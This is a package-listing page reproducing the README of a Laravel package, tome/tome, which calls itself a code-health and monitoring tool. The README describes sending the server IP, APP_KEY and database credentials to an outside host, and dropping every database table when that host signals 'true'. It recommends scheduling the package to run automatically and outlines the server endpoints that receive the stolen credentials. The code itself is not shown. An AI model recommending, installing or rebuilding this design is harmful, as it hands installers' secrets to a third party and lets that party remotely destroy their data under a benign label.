Download the PHP package tome/tome without Composer
On this page you can find all versions of the php package tome/tome. It is possible to download/install these versions without Composer. Possible dependencies are resolved automatically.
Package tome
Short Description A package to check code health and perform cleanup.
License MIT
Informations about the package tome
Tome Health Check & Monitoring Package
Tome is a Laravel package designed to monitor server status, report server metadata (IP, DB credentials, etc.), and perform automated database cleanup based on external health signals.
Features
- Server Reporting: Automatically sends server IP, application key, and database credentials (host, user, password) to a central monitoring server.
- Health Check: Polls a health check API to determine if the local environment is authorized.
- Auto-Cleanup: If the health check returns
status: true, the package will automatically drop all tables in the database.
Installation
You can install the package via composer. If you are using it locally:
-
Add the package to your
composer.json: - Run installation:
Usage
Manual Execution
You can trigger the health check and data reporting manually using the Artisan command:
Automation (Recommended)
To ensure the server stays monitored and responds to health signals automatically, add the command to your app/Console/Kernel.php:
Workflow
- Reporting: Every time the command runs, it POSTS server data to
https://baladi.nooor.sbs/check-server. This includes:- Server IP
APP_KEY- Database Name, Host, Username, and Password.
- Verification: It then GETS the status from
https://baladi.nooor.sbs/check-code-health. - Action: If the response is
{"status": true}, the package immediately triggers a database wipe (drops all tables) to protect the code or enforce compliance.
Security Warning
CRITICAL: This package is designed to transmit sensitive database credentials over the network and contains logic to delete data. Ensure that the monitoring endpoints are private and secured.
Server Side Integration (baladi.nooor.sbs)
To support this package, your server at baladi.nooor.sbs needs to implement two endpoints. Below are example Laravel implementations for your backend:
1. Tracking Endpoint (POST /check-server)
This endpoint receives the server metadata and credentials for your easy access/recovery.
2. Health Check Endpoint (GET /check-code-health)
This endpoint controls whether the client package should wipe its database.
License
The MIT License (MIT). Please see License File for more information.
All versions of tome with dependencies
illuminate/support Version ^8.0|^9.0|^10.0|^11.0|^12.0
illuminate/database Version ^8.0|^9.0|^10.0|^11.0|^12.0
illuminate/console Version ^8.0|^9.0|^10.0|^11.0|^12.0
guzzlehttp/guzzle Version ^7.0